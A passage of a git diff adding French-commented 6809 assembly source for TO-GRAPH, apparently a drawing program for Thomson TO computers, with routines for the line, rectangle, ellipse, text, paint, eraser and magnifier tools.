+XDCC70 LDA    #$FF
+       STA    FILFLG
+       LDD    #PLEIN
+       STD    MACP
+       JSR    TRINV
+       LDX    X0TIRE
+       STX    XXXXXX
+       LDY    Y0TIRE
+       STY    YYYYYY
+       LDX    X1TIRE
+       LDY    Y1TIRE
+       LDB    #BOX
+       JSR    EXTRA
+       JSR    TRNORM
+       LEAS   2,S
+       RTS              ->>
+
+*      abandon de la sélection
+XDCC80 JSR    FENFER
+       CLR    <FLGTIR
+       LDA    TLIGN
+       PSHS   A
+       LDA    #1
+       STA    TLIGN
+       JSR    TRINV
+       JSR    TRRECT
+       JSR    TRINV
+       JSR    TRLIGN
+       PULS   A
+       STA    TLIGN
+       LEAS   2,S
+       RTS              ->>
+
+XDRECT EQU    *
+*-----
+       JSR    TRREMP
+       JSR    TRRECT
+       RTS
+
+XDLIGN EQU    *
+*-----
+       JSR    TRLIGN
+       RTS
+
+XDELLI EQU    *
+*-----
+       JSR    TRREMP
+       JSR    TRELLI
+       RTS
+
+
+*=======================================
+* S/P traitement d'un clic de pointage
+*     en mode POINTE
+*=======================================
+
+PTOUT  EQU    *
+*---------------------------------------
+
+       LDB    OUTIL
+       CMPB   #GOMME
+       BEQ    PTOUT1    ->
+       CMPB   #POINTS
+       BEQ    PTOUT1    ->
+
+PTOUT0 JSR    LPIN      anti-rebond
+       BCS    PTOUT0    ->
+
+PTOUT1 JSR    FENDES
+       LDB    OUTIL
+       LSLB
+       ADDB   OUTIL
+       LEAX   XPTOUT,PCR
+       JSR    B,X
+       JSR    FENACT
+       RTS              ->>
+*---------------------------------------
+XPTOUT LBRA   XPPOIN
+       LBRA   XPLIGN
+       LBRA   XPRECT
+       LBRA   XPRECT  carré
+       LBRA   XPELLI
+       LBRA   XPELLI  cercle
+       LBRA   XPCARA
+       LBRA   XPPEIN
+       LBRA   XPGOMM
+       LBRA   XPLOUP
+       LBRA   XPCOUC
+       LBRA   XPCOLL
+*---------------------------------------
+
+XPGOMM EQU    *
+*-----
+       LDX    REGX
+       STX    X0TIRE
+       LDY    REGY
+       STY    Y0TIRE
+XPGFI0 STX    X1TIRE
+       STY    Y1TIRE
+       JSR    TRRAZ
+       JSR    TRLIGN
+       STX    X0TIRE
+       STY    Y0TIRE
+
+XPGFI1 JSR    GETL
+       BCS    XPGFI1    ->
+       JSR    LPIN
+       BCS    XPGFI0    ->
+
+       RTS
+
+XPCARA EQU    *
+*-----
+       JSR    TRAMIN    tortue caractère
+       LDB    TCAR
+       SUBB   #TCN
+       PSHS   B
+       LSLB
+       ADDB   ,S+
+       LDX    #TABTOR
+       ABX
+       LDY    ,X++
+       LDB    ,X
+
+       PSHS   B         copie en RAM
+       LDX    #TFORME
+COPTO1 LDA    ,Y+
+       STA    ,X+
+       DECB
+       BNE    COPTO1    ->
+
+       PULS   B         compil sur place
+       STB    FACLO
+       LDX    #TFORME
+       LDY    #TFORME
+       LDB    #CMPTOR
+       JSR    EXTRA
+
+       LDX    REGX
+       STX    TXTX
+       LDY    REGY
+       STY    TXTY
+
+       LDY    #TORTXT
+       LDB    #MOVE
+       JSR    EXTRA
+       LDA    #$FF
+       LDB    #SHOW
+       JSR    EXTRA
+       JSR    TRAMAX
+
+       LDA    #$FF
+       STA    FLGTXT
+       COMA
+       STA    CLITXT
+       CLR    FLGSS2
+
+       LDA    #TIRE
+       STA    ETAOUT
+       CLRA            tortue std
+       CLRB
+       JSR    FENTOR
+       COMA
+       STA    STDTOR
+       RTS
+
+XPCOUC EQU    *         rfu
+*-----
+       LDA    TLIGN
+       PSHS   A
+       LDA    #1
+       STA    TLIGN
+       LDX    REGX
+       STX    X0TIRE
+       STX    X1TIRE
+       LDY    REGY
+       STY    Y0TIRE
+       STY    Y1TIRE
+
+       JSR    TRINV
+       CLR    FILFLG
+       JSR    TRRECT
+       JSR    TRINV
+       JSR    TRLIGN
+       PULS   A
+       STA    TLIGN
+
+       LDA    #TIRE
+       STA    ETAOUT
+       CLRA            tortue std
+       CLRB
+       JSR    FENTOR
+       COMA
+       STA    STDTOR
+       RTS
+
+XPCOLL EQU    *
+*-----
+       TST    FLGTIR
+       BNE    XPCOL0    ok ->
+       LDX    #MTIRVI
+       JSR    FENERR
+       LBRA   XPCOLF    ->
+
+XPCOL0 EQU    *
+*      calculer coord. de visualisation
+       LDD    <LPTTIR
+       LSRA
+       RORB
+       PSHS   D
+       LDD    REGX
+       SUBD   ,S++
+       PSHS   D
+
+       CLRA             calcul +/- 32k
+       LDB    <HPTTIR
+       LSRA
+       RORB
+       PSHS   D
+       LDD    REGY
+       SUBD   ,S++
+       PSHS   D
+
+       LDB    #$13      mode transp. ?
+       JSR    FENCH
+       CLRA
+       LDB    VAL,X
+       CMPB   #OFF
+       BNE    XPCC99    ->
+       COMA
+XPCC99 PULS   Y
+       PULS   X
+       JSR    VISTIR
+
+XPCOLF RTS
+
+XPPEIN EQU    *
+*-----
+       LDX    REGX
+       LDY    REGY
+       JSR    GETP
+       TSTB
+       BEQ    XPEIN2    pt en forme ->
+
+       JSR    TRAMIN
+       LDB    #$13
+       JSR    FENCH
+       LDB    VAL,X
+       CMPB   #OFF
+       BEQ    XPEIN0    ->
+       JSR    TRTRAN    mode transparent
+XPEIN0 LDX    REGX
+       STX    XXXXXX
+       LDY    REGY
+       STY    YYYYYY
+       LDB    #BKMANO   manoeuvre
+       STB    BANKC
+       LDD    #ZONTRA
+       STD    DEBZON
+       LDD    #FINTRA
+       STD    FINZON
+       LDU    #MOTIF
+       STU    MACP
+       LDU    #XPEIN2   active chien
+       JSR    ACTDOG              garde
+       LDB    #PAINT
+       JSR    EXTRA
+       CLR    FLGDOG    désactive
+       TSTB
+       BEQ    XPEIN2    ->
+       JSR    DOSERR
+XPEIN2 JSR    TRNORM
+       JSR    TRAMAX
+       LDB    #BKTIR    restaure bank
+       STB    BANKC
+       RTS
+
+XPPOIN EQU    *
+*-----
+       LDX    REGX
+       STX    X0TIRE
+       LDY    REGY
+       STY    Y0TIRE
+XPPFI0 STX    X1TIRE
+       STY    Y1TIRE
+       JSR    TRLIGN
+       STX    X0TIRE
+       STY    Y0TIRE
+
+XPPFI1 JSR    GETL
+       BCS    XPPFI1    ->
+       JSR    LPIN
+       BCS    XPPFI0    ->
+
+       RTS
+
+XPRECT EQU    *
+*-----
+       JSR    TRINV
+
+       LDX    REGX
+       STX    X0TIRE
+       STX    X1TIRE
+       LDY    REGY
+       STY    Y0TIRE
+       STY    Y1TIRE
+       CLR    FILFLG
+       JSR    TRRECT
+
+       LDA    #TIRE
+       STA    ETAOUT
+       CLRA            tortue std
+       CLRB
+       JSR    FENTOR
+       COMA
+       STA    STDTOR
+       RTS
+
+XPLIGN EQU    *
+*-----
+       JSR    TRINV
+
+       LDX    REGX
+       STX    X0TIRE
+       STX    X1TIRE
+       LDY    REGY
+       STY    Y0TIRE
+       STY    Y1TIRE
+       JSR    TRLIGN
+
+       LDA    #TIRE
+       STA    ETAOUT
+       CLRA            tortue std
+       CLRB
+       JSR    FENTOR
+       COMA
+       STA    STDTOR
+       RTS
+
+XPELLI EQU    *
+*-----
+       JSR    TRINV
+
+       LDX    REGX
+       STX    X0TIRE
+       LDY    REGY
+       STY    Y0TIRE
+       LDA    #2
+       STA    X1TIRE
+       STA    Y1TIRE
+       CLR    FILFLG
+       JSR    TRELLI
+
+       LDA    #TIRE
+       STA    ETAOUT
+       CLRA            tortue std
+       CLRB
+       JSR    FENTOR
+       COMA
+       STA    STDTOR
+       RTS
+
+XPLOUP EQU    *
+*-----
+       LDA    FLGLOU
+       CMPA   #2
+       LBEQ   XPLO50   dessin dans loupe
+       CMPA   #0
+       BNE    XPLO00   tracé de loupe ->
+       RTS             ->>
+
+* Tracé de la loupe à gauche ou à droite
+XPLO00 LDA    #2
+       STA    FLGLOU
+       LDD    X0TIRE
+       CMPD   #50*8
+       BLT    XPLO10    ->
+       LDD    #$0306
+       BRA    XPLO11    ->
+XPLO10 LDD    #$0338
+XPLO11 STD    RNGLOU
+
+       LDA    $E7C3     sauver 1ére page
+       ORA    #1
+       STA    $E7C3
+       LDX    #$4000
+       LEAX   40*8*3,X
+       LSRB
+       LEAX   B,X
+       LDA    #BKMANO
+       STA    BANKC
+       LDY    #$A000
+       LDU    #18*8
+XPLO20 LDA    #9
+XPLO21 LDB    ,X+
+       STB    ,Y+
+       DECA
+       BNE    XPLO21    ->
+       LEAX   31,X
+       LEAU   -1,U
+       CMPU   #0
+       BNE    XPLO20    ->
+
+       LDA    $E7C3     sauver 2éme page
+       EORA   #1
+       STA    $E7C3
+       LDX    #$4000
+       LEAX   40*8*3,X
+       LDB    COLLOU
+       LSRB
+       LEAX   B,X
+       LDU    #18*8
+XPLO30 LDA    #9
+XPLO31 LDB    ,X+
+       STB    ,Y+
+       DECA
+       BNE    XPLO31    ->
+       LEAX   31,X
+       LEAU   -1,U
+       CMPU   #0
+       BNE    XPLO30    ->
+
+       LDD    RNGLOU    fenêtre loupe
+       LDX    #FFLOUP
+       JSR    FENVIS
+
+       LDU    #$D000    lecture zone
+       LDY    Y0TIRE
+       LEAY   1,Y
+BLLO0  LDX    X0TIRE
+       LEAX   1,X
+BLLO1  JSR    GETP
+       STB    ,U+
+       LEAX   1,X
+       CMPX   X1TIRE
+       BNE    BLLO1     ->
+       LEAY   1,Y
+       CMPY   Y1TIRE
+       BNE    BLLO0     ->
+
+       LDU    #$D000    écriture loupe
+       LDD    #PLEIN
+       STD    MACP
+       LDA    #$FF
+       STA    FILFLG
+       LDY    #4*8
+BELO0  LDB    #8
+       LDA    COLLOU
+       INCA
+       MUL
+       TFR    D,X
+       LDA    #32
+BELO1  TST    ,U+
+       BMI    BELO2     ->
+       STX    XXXXXX
+       STY    YYYYYY
+       LEAX   3,X
+       LEAY   3,Y
+       LDB    #BOX
+       JSR    EXTRA
+       LEAX   -3,X
+       LEAY   -3,Y
+BELO2  LEAX   4,X
+       DECA
+       BNE    BELO1     ->
+       LEAY   4,Y
+       CMPY   #20*8
+       BNE    BELO0     ->
+
+       RTS              ->>
+
+* Dessin dans la loupe ???
+XPLO50 LDX    RNGLOU
+       LDY    #$1111
+       JSR    SOUDAN
+       BCC    XPLO51    hors ->
+       LEAX   $0101,X
+       LDY    #$1010
+       JSR    SOUDAN
+       BCS    XPLO52    dessin ->
+       RTS              ->>
+XPLO51 JSR    RAZOUT
+       RTS              ->>
+
+* Dessin dans la loupe
+XPLO52 JSR    TRINV
+       LDD    REGX
+       ANDB   #$FC
+       STD    XXXXXX
+       ADDD   #3
+       TFR    D,X
+       LDD    REGY
+       ANDB   #$FC
+       STD    YYYYYY
+       ADDD   #3
+       TFR    D,Y
+       LDD    #PLEIN
+       STD    MACP
+       LDA    #$FF
+       STA    FILFLG
+       LDB    #BOX
+       JSR    EXTRA
+
+* Dessin en réel
+       LDA    COLLOU
+       LDB    #8
+       MUL
+       PSHS   D
+       LDD    REGX
+       SUBD   ,S++
+       LSRA
+       RORB
+       LSRA
+       RORB             2..33
+       SUBD   #1
+       ADDD   X0TIRE
+       TFR    D,X
+       LDD    REGY
+       SUBD   #3*8
+       LSRA
+       RORB
+       LSRA
+       RORB             2..33
+       SUBD   #1
+       ADDD   Y0TIRE
+       TFR    D,Y
+       LDB    #PSETXY
+       JSR    EXTRA
+       JSR    TRNORM
+       RTS              ->>
+
+
+*=======================================
+* S/P raz visu provisoire de l'outil
+*     courant (suite à sélection ou
+*     scroll dans le mode TIRE
+*=======================================
+
+RAZOUT EQU    *
+*---------------------------------------
+       JSR    FENDES
+       JSR    TRAMAX    tortue standard
+       CLRA
+       CLRB
+       JSR    FENTOR
+       COMA
+       STA    STDTOR
+       JSR    FENACT
+
+       LDA    ETAOUT
+       CMPA   #TIRE
+       BEQ    RAZOU0    ->
+       LDA    OUTIL
+       CMPA   #LOUPE
+       BEQ    RAZOU0    ->
+       TST    COPALB
+       BEQ    RAZO00    ->
+       JSR    FENDES
+       JSR    XRCOU0    ->
+       JSR    FENACT
+RAZO00 RTS              ->>
+
+RAZOU0 LDA    #POINTE   retour en état
+       STA    ETAOUT
+       JSR    FENDES
+       LDB    OUTIL
+       LSLB
+       ADDB   OUTIL
+       LEAX   XRAZOU,PCR
+       JSR    B,X
+       JSR    FENACT
+XRF    RTS              ->>
+*---------------------------------------
+XRAZOU LBRA   XRF       points
+       LBRA   XRLIGN
+       LBRA   XRRECT
+       LBRA   XRRECT    carré
+       LBRA   XRELLI
+       LBRA   XRELLI    cercle
+       LBRA   XRCARA
+       LBRA   XRF       peinture
+       LBRA   XRF       gomme
+       LBRA   XRLOUP
+       LBRA   XRCOUC
+       LBRA   XRCOLL
+*---------------------------------------
+
+XRCARA EQU    *
+*-----
+       JSR    TRAMIN
+       LDY    #TORTXT  masque tortue car
+       CLRA
+       LDB    #SHOW
+       JSR    EXTRA
+       CLR    FLGTXT
+       JSR    TRAMAX
+       RTS
+
+XRCOUC EQU    *
+*-----
+       LDA    TLIGN
+       PSHS   A
+       LDA    #1
+       STA    TLIGN
+       JSR    TRINV
+       CLR    FILFLG
+       JSR    TRRECT
+       JSR    TRINV
+       JSR    TRLIGN
+       PULS   A
+       STA    TLIGN
+
+       TST    COPALB
+       BNE    XRCOU0    ->
+       RTS              ->>
+
+XRCOU0 LDB    #ESC      fin copie album
+       JSR    PUTC
+       LDB    #$60
+       JSR    PUTC
+       LDA    COPAOU
+       STA    OUTIL
+       JSR    AFFOPT
+       JSR    RESTAU    restaure visu
+       CLR    COPALB
+       RTS
+
+XRCOLL RTS              rfu
+*-----
+
+XRRECT JSR    TRINV
+*-----
+       CLR    FILFLG
+       JSR    TRRECT
+       RTS
+
+XRLIGN JSR    TRINV
+*-----
+       JSR    TRLIGN
+       RTS
+
+XRELLI JSR    TRINV
+*-----
+       CLR    FILFLG
+       JSR    TRELLI
+       RTS
+
+XRLOUP JSR    RAZLOU
+*-----
+
+
+*=======================================
+* S/P traitement du mode TIRE
+*     (tracé provisoire)
+*=======================================
+TIROUT EQU    *
+*---------------------------------------
+
+       JSR    FENDES
+       LDB    OUTIL
+       LSLB
+       ADDB   OUTIL
+       LEAX   XTIOUT,PCR
+       JSR    B,X
+       JSR    FENACT
+XTF    RTS              ->>
+*---------------------------------------
+XTIOUT LBRA   XTF       points
+       LBRA   XTLIGN
+       LBRA   XTRECT
+       LBRA   XTCARR
+       LBRA   XTELLI
+       LBRA   XTCERC
+       LBRA   XTCARA    caractère
+       LBRA   XTF       peinture
+       LBRA   XTF       gomme
+       LBRA   XTLOUP
+       LBRA   XTCOUC
+       LBRA   XTCOLL
+*---------------------------------------
+
+XTCARA EQU    *
+*-----
+       LDB    REGB
+       CMPB   #RC
+       BEQ    XTCARC    RC ->
+       CMPB   #RS
+       LBEQ   XTCARS    RS ->
+       CMPB   #1
+       LBEQ   XTCAMO    motif cour. ->
+       LBRA   XTCACA    code normal ->
+
+*** frappe d'un RC (=LF+CR)
+XTCARC EQU    *
+       LDY    TXTY       mode caractère
+       LEAY   8,Y
+       LDA    TCAR
+       CMPA   #TCN
+       BEQ    XTCRC0    ->
+       CMPA   #TCDL
+       BEQ    XTCRC0    ->
+       LEAY   8,Y
+       CMPY   #207
+       BGE    XTCRC2    ->
+       BRA    XTCRC1    ->
+XTCRC0 CMPY   #199
+       BGE    XTCRC2    ->
+XTCRC1 STY    TXTY
+       BRA    XTCRC3    ->
+XTCRC2 LDB    #7
+       JSR    PUTC
+       LBRA   XTCARF    ->
+
+XTCRC3 LDX    #32        mode caractère
+       STX    TXTX
+       JSR    TRAMIN
+       LDY    #TORTXT
+       LDB    #MOVE
+       JSR    EXTRA
+       LBRA   XTCARF    ->
+
+
+*** frappe d'un RS (positionnement en
+*** position caractère normale ...
+
+XTCARS LDD    TXTX
+XTCRS0 BITB   #$07
+       BEQ    XTCRS1    ->
+       SUBD   #1
+       BRA    XTCRS0    ->
+XTCRS1 STD    TXTX
+       LDD    TXTY
+       ADDD   #1
+XTCRS2 BITB   #$07
+       BEQ    XTCRS3    ->
+       ADDD   #1
+       BRA    XTCRS2    ->
+XTCRS3 SUBD   #1
+       STD    TXTY
+       JSR    TRAMIN
+       LDY    #TORTXT
+       LDB    #MOVE
+       JSR    EXTRA
+       LBRA   XTCARF    ->
+
+*** frappe ctrl A (motif courant)
+
+XTCAMO LDX    #CARMOT
+       LDY    #TXTMOT
+XTCAR0 LDD    ,X++
+       STD    ,Y++
+       CMPX   #MOTIF
+       BNE    XTCAR0    ->
+       BRA    XTCAR2    ->
+
+*** frappe d'un code normal
+
+XTCACA LDY    #TXTMOT   décodage car.
+       JSR    XTRMOT
+       LBCC   XTCARF    ->
+
+XTCAR2 JSR    TRAMIN
+       LDY    #TORTXT  masque tortue car
+       CLRA
+       LDB    #SHOW
+       JSR    EXTRA
+
+       LDX    TXTX
+       LDY    TXTY
+       JSR    EXPCAR    visu car.
+
+       LEAX   8,X
+       LDA    TCAR
+       CMPA   #TCN
+       BEQ    XTCAR3    ->
+       CMPA   #TCDH
+       BEQ    XTCAR3    ->
+       LEAX   8,X
+XTCAR3 CMPX   #623
+       BCC    XTCAR4    ->
+       STX    TXTX
+       LDY    #TORTXT
+       LDB    #MOVE
+       JSR    EXTRA
+       BRA    XTCARV    ->
+XTCAR4 LDB    #7
+       JSR    PUTC
+
+XTCARV LDY    #TORTXT  visu tortue car
+       LDA    #$FF
+       LDB    #SHOW
+       JSR    EXTRA
+
+XTCARF JSR    TRAMAX   pour tortue souri
+       RTS
+
+XTCOUC EQU    *
+*-----
+       LDA    TLIGN
+       PSHS   A
+       LDA    #1
+       STA    TLIGN
+       JSR    TRINV     ancien tracé
+       CLR    FILFLG
+       JSR    TRRECT
+       JSR    TRINV
+       JSR    TRLIGN
+
+       LDX    REGX      nouveau tracé
+       STX    X1TIRE
+       LDY    REGY
+       STY    Y1TIRE
+       JSR    TRINV
+       JSR    TRRECT
+       JSR    TRINV
+       JSR    TRLIGN
+       PULS   A
+       STA    TLIGN
+       RTS
+
+XTCOLL RTS              rfu
+*-----
+
+XTRECT EQU    *
+*-----
+       JSR    TRINV     ancien tracé
+       CLR    FILFLG
+       JSR    TRRECT
+
+       JSR    TRINV     nouveau tracé
+       LDX    REGX
+       STX    X1TIRE
+       LDY    REGY
+       STY    Y1TIRE
+       JSR    TRRECT
+       RTS
+
+XTCARR EQU    *
+*-----
+       JSR    TRINV     ancien tracé
+       CLR    FILFLG
+       JSR    TRRECT
+
+       JSR    TRINV     nouveau tracé
+       LDD    REGX
+       SUBD   X0TIRE
+       PSHS   D
+       TSTA
+       BPL    XTCRR0    >0 ->
+       LDD    #0
+       SUBD   ,S
+       STD    ,S
+XTCRR0 LDD    REGY
+       SUBD   Y0TIRE
+       TSTA
+       BPL    XTCRR1    >0 ->
+       PSHS   D
+       LDD    #0
+       SUBD   ,S++
+XTCRR1 CMPD   ,S
+       BGT    XTCRR2    ->
+       LDD    ,S
+XTCRR2 STD    ,S        D = coté
+
+       LDY    Y0TIRE
+       CMPY   REGY
+       BLE    XTCRR3    ->
+       LDD    #0
+       SUBD   ,S
+XTCRR3 LEAY   D,Y
+       STY    Y1TIRE
+
+       LDD    ,S        coef rél -> larg
+       STD    FACMO     convers. -> réel
+       LDA    #2
+       STA    VALTYP
+       LDA    #4
+       LDB    #FRCTYP
+       JSR    EXTRA
+       LDB    #MOVAF    -> ARG
+       JSR    EXTRA
+       LDX    #COEFMU   coefficient
+       LDB    #MOVFM
+       JSR    EXTRA
+       LDB    #MULTGO   *
+       JSR    EXTRA
+       LDA    #2        convers entier
+       LDB    #FRCTYP
+       JSR    EXTRA
+       LDD    FACMO
+       STD    ,S
+       LDX    X0TIRE
+       CMPX   REGX
+       BLE    XTCRR4    ->
+       LDD    #0
+       SUBD   ,S
+XTCRR4 LEAX   D,X
+       STX    X1TIRE
+       LEAS   2,S
+
+       JSR    TRRECT
+       RTS
+
+XTLIGN EQU    *
+*-----
+       JSR    TRINV     ancien tracé
+       JSR    TRLIGN
+
+       JSR    TRINV     nouveau tracé
+       LDX    REGX
+       STX    X1TIRE
+       LDY    REGY
+       STY    Y1TIRE
+       JSR    TRLIGN
+       RTS
+
+XTELLI EQU    *
+*-----
+       JSR    TRINV     ancien tracé
+       CLR    FILFLG
+       JSR    TRELLI
+
+       JSR    TRINV     nouveau tracé
+       LDD    REGX
+       SUBD   X0TIRE
+       BPL    XTELI0    ->
+       COMA             < 0
+       COMB
+       ADDD   #1
+XTELI0 CMPD   #253
+       BLE    XTELI1    ->
+       LDB    #254      >254
+XTELI1 STB    X1TIRE
+       BNE    XTELI2    ->
+       INC    X1TIRE
+
+XTELI2 LDD    REGY
+       SUBD   Y0TIRE
+       BPL    XTELI3    ->
+       COMA             < 0
+       COMB
+       ADDD   #1
+XTELI3 CMPD   #253
+       BLE    XTELI4    ->
+       LDB    #254      >254
+XTELI4 STB    Y1TIRE
+       BNE    XTELI5    ->
+       INC    Y1TIRE
+XTELI5 JSR    TRELLI
+       RTS
+
+XTCERC EQU    *
+*-----
+       JSR    TRINV     ancien tracé
+       CLR    FILFLG
+       JSR    TRELLI
+
+       JSR    TRINV     nouveau tracé
+       LDA    #2
+       STA    VALTYP
+       LDD    REGX
+       SUBD   X0TIRE    x au carré
+       STD    FACMO
+       STD    ARGMO
+       LDB    #MULTGO
+       JSR    EXTRA
+       LDX    FACMO
+       PSHS   X
+
+       LDD    REGY      y au carré
+       SUBD   Y0TIRE
+       STD    FACMO
+       STD    ARGMO
+       LDB    #MULTGO
+       JSR    EXTRA
+
+       LDD    FACMO     racine de somme
+       ADDD   ,S++
+       STD    FACMO
+       LDB    #SQR
+       JSR    EXTRA
+
+       LDX    #MEMREL   mémo
+       LDB    #MOVMF
+       JSR    EXTRA
+
+       LDA    #2        hauteur (entier)
+       LDB    #FRCTYP
+       JSR    EXTRA
+       LDD    FACMO
+       CMPD   #127
+       BLE    XTCER0    ->
+       LDB    #127
+XTCER0 STB    Y1TIRE
+       BNE    XTCER1    ->
+       INC    Y1TIRE
+
+XTCER1 LDA    #4        mémo * coef.
+       STA    VALTYP           adapt. pt
+       LDX    #MEMREL
+       LDB    #MOVFM
+       JSR    EXTRA
+       LDB    #MOVAF
+       JSR    EXTRA
+       LDX    #COEFMU
+       LDB    #MOVFM
+       JSR    EXTRA
+       LDB    #MULTGO
+       JSR    EXTRA
+
+       LDA    #2        largeur (entier)
+       LDB    #FRCTYP
+       JSR    EXTRA
+       LDD    FACMO
+       CMPD   #254
+       BLE    XTCER2    ->
+       LDB    #254
+XTCER2 STB    X1TIRE
+       BNE    XTCER3    ->
+       INC    X1TIRE
+
+XTCER3 JSR    TRELLI
+       RTS
+
+XTLOUP RTS              rfu
+*-----
diff --git a/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-X2.ASM b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-X2.ASM
new file mode 100755
index 0000000..7d2fad3
--- /dev/null
+++ b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-X2.ASM
@@ -0,0 +1,869 @@
+       TITLE  TO-GRAPH: Traitement
+*      ------------------------------
+       PAGE
+
+****************************************
+*                                      *
+*           TO-GRAPH                   *
+*                                      *
+*    Traitement: GRAPH-X               *
+*                                      *
+****************************************
+
+
+*=======================================
+* S/P traitement du réaffichage de
+*     l'outil caractère
+*=======================================
+
+AFFCAR LEAS   -1,S
+MEMACT SET    0
+*---------------------------------------
+
+       LDA    OUTIL
+       CMPA   #CARACT
+       BNE    AFFCAF    ->
+       LDB    TCAR
+       SUBB   #TCN
+       PSHS   B
+       LSLB
+       ADDB   ,S+
+       LDX    #TABTOR
+       ABX
+       LDY    ,X
+       LDB    2,X
+
+       LDA    ETAOUT
+       CMPA   #POINTE
+       BEQ    AFFCA0    ->
+
+       PSHS   B         copie en RAM
+       LDX    #TFORME
+COPTO0 LDA    ,Y+
+       STA    ,X+
+       DECB
+       BNE    COPTO0    ->
+       PULS   B
+
+       STB    FACLO     compil sur place
+       LDX    #TFORME
+       LDY    #TFORME
+       LDB    #CMPTOR
+       JSR    EXTRA
+
+       LDY    #TORTXT
+       LDA    #$FF
+       LDB    #SHOW
+       JSR    EXTRA
+       BRA    AFFCAF    ->
+
+AFFCA0 TST    STDTOR
+       BNE    AFFCAF    hors écran ! ->
+       TFR    Y,X
+       LDA    #1
+       JSR    FENTOR
+
+AFFCAF LEAS   1,S
+       RTS
+
+
+*=======================================
+* S/P décalage droite/gauche du tiroir
+*     pour mettre les 1ers points de
+*     chaque ligne dans une colonne
+*     donnée
+* Entrée: B  rang à obtenir pour 1er pt
+*            (0..7)
+*=======================================
+
+DECALT PSHS   U
+       LDU    #XDECAL
+       JSR    COMBK2
+       PULS   U,PC
+
+
+*=======================================
+* S/P génération d'un dessin tortue
+*     d'avance éventuellement décomposé
+*     en plusieurs (max soft 255)
+*
+* Entrée: D  déplacement
+*         X  chaine rangement
+* Sortie: X  ...
+*=======================================
+
+DEPTOR PSHS   U
+       LDU    #XDEPTO
+       JSR    COMBK2
+       PULS   U,PC
+
+
+*=======================================
+* S/P traitement d'effacement de l'outil
+*     caractère
+*=======================================
+
+EFFCAR LEAS   -1,S
+MEMACT SET    0
+*---------------------------------------
+
+       LDA    OUTIL
+       CMPA   #CARACT
+       BNE    EFFCAF    ->
+       LDA    ETAOUT
+       CMPA   #TIRE
+       BNE    EFFCAF    ->
+       LDY    #TORTXT
+       CLRA
+       LDB    #SHOW
+       JSR    EXTRA
+EFFCAF LEAS   1,S
+       RTS
+
+
+*=======================================
+* S/P traitement visu/effac. des outils
+*     ligne en mode TIRE
+*=======================================
+
+INVLIG EQU    *
+*---------------------------------------
+
+       LDA    ETAOUT
+       CMPA   #TIRE
+       BNE    XIF       ->
+       LDB    OUTIL
+       LSLB
+       ADDB   OUTIL
+       LEAX   XINOUT,PCR
+       JSR    B,X
+XIF    RTS              ->>
+*---------------------------------------
+XINOUT LBRA   XIF       points
+       LBRA   XILIGN
+       LBRA   XIRECT
+       LBRA   XIRECT    carré
+       LBRA   XIELLI
+       LBRA   XIELLI    cercle
+       LBRA   XIF       caractère
+       LBRA   XIF       peinture
+       LBRA   XIF       gomme
+       LBRA   XIF       loupe
+       LBRA   XIF       couper copier
+       LBRA   XIF       coller
+*---------------------------------------
+
+XIRECT EQU    *
+*-----
+       JSR    FENDES
+       JSR    TRINV     ancien tracé
+       CLR    FILFLG
+       JSR    TRRECT
+       JSR    FENACT
+       RTS
+
+XILIGN
+*-----
+       JSR    FENDES
+       JSR    TRINV     ancien tracé
+       JSR    TRLIGN
+       JSR    FENACT
+       RTS
+
+XIELLI EQU    *
+*-----
+       JSR    FENDES
+       JSR    TRINV     ancien tracé
+       CLR    FILFLG
+       JSR    TRELLI
+       JSR    FENACT
+       RTS
+
+
+*=======================================
+* S/P expension d'un caractère dans
+*     les 4 tailles standards en la
+*     position souris courante
+*
+* Entrée: X      coordonnées souris
+*         Y
+*         TXTMOT motif du caractère
+*=======================================
+
+EXPCAR PSHS   D,X,Y,U
+       LEAS   -4,S
+CPTC   SET    0
+FLGL   SET    1       flag double haut
+FLGC   SET    2       flag double larg
+LIGMOT SET    3
+PD     SET    4
+PX     SET    6
+PY     SET    8
+*---------------------------------------
+       LDB    #$13      transparent ?
+       JSR    FENCH
+       LDB    VAL,X
+       CMPB   #ON
+       BEQ    EXPA0     ->
+       JSR    TRRAZ     effacement zone
+       LDA    #$FF
+       STA    FILFLG
+       LDD    #PLEIN
+       STD    MACP
+       LDX    PX,S
+       STX    XXXXXX
+       LDY    PY,S
+       STY    YYYYYY
+       LEAX   7,X
+       LEAY   -7,Y
+       LDA    TCAR
+       CMPA   #TCN
+       BEQ    EXPA01    ->
+       CMPA   #TCDH
+       BEQ    EXPA00    ->
+       LEAX   8,X
+       CMPA   #TCDL
+       BEQ    EXPA01    ->
+EXPA00 LEAY   -8,Y
+EXPA01 LDB    #BOX
+       JSR    EXTRA
+       JSR    TRNORM
+
+EXPA0  LDY    PY,S
+       LDU    #TXTMOT
+
+EXPA1  CLR    FLGL,S
+EXPA2  LDA    #8
+       STA    CPTC,S
+       LDX    PX,S
+       LDA    ,U
+       STA    LIGMOT,S
+
+EXPA3  CLR    FLGC,S
+EXPA4  LDA    LIGMOT,S
+       LSLA
+       BCC    EXPA5     ->
+       LDB    #PSETXY
+       JSR    EXTRA
+
+EXPA5  LEAX   1,X
+
+       TST    FLGC,S
+       BNE    EXPA6     ->
+       COM    FLGC,S
+       LDA    TCAR
+       CMPA   #TCN
+       BEQ    EXPA6     ->
+       CMPA   #TCDH
+       BEQ    EXPA6     ->
+       BRA    EXPA4     double larg. ->
+
+EXPA6  LSL    LIGMOT,S
+       DEC    CPTC,S
+       BNE    EXPA3     ->
+
+       LEAY   -1,Y
+
+       TST    FLGL,S
+       BNE    EXPA7     ->
+       COM    FLGL,S
+       LDA    TCAR
+       CMPA   #TCN
+       BEQ    EXPA7     ->
+       CMPA   #TCDL
+       BEQ    EXPA7     ->
+       BRA    EXPA2     double haut. ->
+
+EXPA7  LEAU   1,U
+       CMPU   #TXTMOT+8
+       LBNE   EXPA1     ->
+
+       JSR    TRNORM
+
+       LEAS   4,S
+       PULS   D,X,Y,U,PC
+
+
+*=======================================
+* S/P inversion du tiroir pour visu.
+*     temporaire
+*=======================================
+
+INVTIR PSHS   U
+       LDU    #XINVTI
+       JSR    COMBK2
+       PULS   U,PC
+
+
+*=======================================
+* S/P efface la loupe de pointage
+*=======================================
+
+RAZLOU LEAS   -1,S
+MEMTL  SET    0
+*---------------------------------------
+       JSR    FENDES
+       LDA    TLIGN
+       STA    MEMTL,S
+       LDA    #2
+       STA    TLIGN
+       TST    FLGLOU
+       BEQ    RAZLOF    ->
+
+       JSR    TRINV
+       CLR    FILFLG
